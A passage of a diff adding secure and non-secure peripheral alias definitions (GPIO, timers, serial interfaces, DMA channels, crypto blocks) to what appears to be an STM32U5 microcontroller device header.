+#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define GPIOJ GPIOJ_S +#define GPIOJ_BASE GPIOJ_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_S +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define RAMCFG_SRAM6 RAMCFG_SRAM6_S +#define RAMCFG_SRAM6_BASE RAMCFG_SRAM6_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define DCACHE2 DCACHE2_S +#define DCACHE2_BASE DCACHE2_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define GTZC_MPCBB5 GTZC_MPCBB5_S +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_S + +#define GTZC_MPCBB6 GTZC_MPCBB6_S +#define GTZC_MPCBB6_BASE GTZC_MPCBB6_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I2C5 I2C5_S +#define I2C5_BASE I2C5_BASE_S + +#define I2C6 I2C6_S +#define I2C6_BASE I2C6_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define AES AES_S +#define AES_BASE AES_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SAES SAES_S +#define SAES_BASE SAES_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define OTFDEC1 OTFDEC1_S +#define OTFDEC1_BASE OTFDEC1_BASE_S + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_S +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_S + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_S +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_S + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_S +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_S + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_S +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_S + +#define OTFDEC2 OTFDEC2_S +#define OTFDEC2_BASE OTFDEC2_BASE_S + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_S +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_S + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_S +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_S + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_S +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_S + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_S +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define HSPI1 HSPI1_S +#define HSPI1_R_BASE HSPI1_R_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_HS USB_OTG_HS_S +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#define GFXMMU GFXMMU_S +#define GFXMMU_BASE GFXMMU_BASE_S +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_S +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_S +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_S +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_S +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_S + +#define GPU2D GPU2D_BASE_S + +#define LTDC LTDC_S +#define LTDC_BASE LTDC_BASE_S + +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_S +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_S + +#define DSI DSI_S +#define DSI_BASE DSI_BASE_S + +#define REFBIAS REFBIAS_S +#define REFBIAS_BASE REFBIAS_BASE_S + +#define DPHY DPHY_S +#define DPHY_BASE DPHY_BASE_S + +#define JPEG JPEG_S +#define JPEG_BASE JPEG_BASE_S + +#define GFXTIM GFXTIM_S +#define GFXTIM_BASE GFXTIM_BASE_S +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define SRAM5_BASE SRAM5_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define SRAM6_BASE SRAM6_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define GPIOJ GPIOJ_NS +#define GPIOJ_BASE GPIOJ_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_NS +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define RAMCFG_SRAM6 RAMCFG_SRAM6_NS +#define RAMCFG_SRAM6_BASE RAMCFG_SRAM6_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define DCACHE2 DCACHE2_NS +#define DCACHE2_BASE DCACHE2_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define GTZC_MPCBB5 GTZC_MPCBB5_NS +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_NS + +#define GTZC_MPCBB6 GTZC_MPCBB6_NS +#define GTZC_MPCBB6_BASE GTZC_MPCBB6_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I2C5 I2C5_NS +#define I2C5_BASE I2C5_BASE_NS + +#define I2C6 I2C6_NS +#define I2C6_BASE I2C6_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define AES AES_NS +#define AES_BASE AES_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SAES SAES_NS +#define SAES_BASE SAES_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + +#define OTFDEC1 OTFDEC1_NS +#define OTFDEC1_BASE OTFDEC1_BASE_NS + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_NS +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_NS + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_NS +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_NS + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_NS +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_NS + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_NS +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_NS + +#define OTFDEC2 OTFDEC2_NS +#define OTFDEC2_BASE OTFDEC2_BASE_NS + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_NS +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_NS + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_NS +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_NS + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_NS +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_NS + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_NS +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + 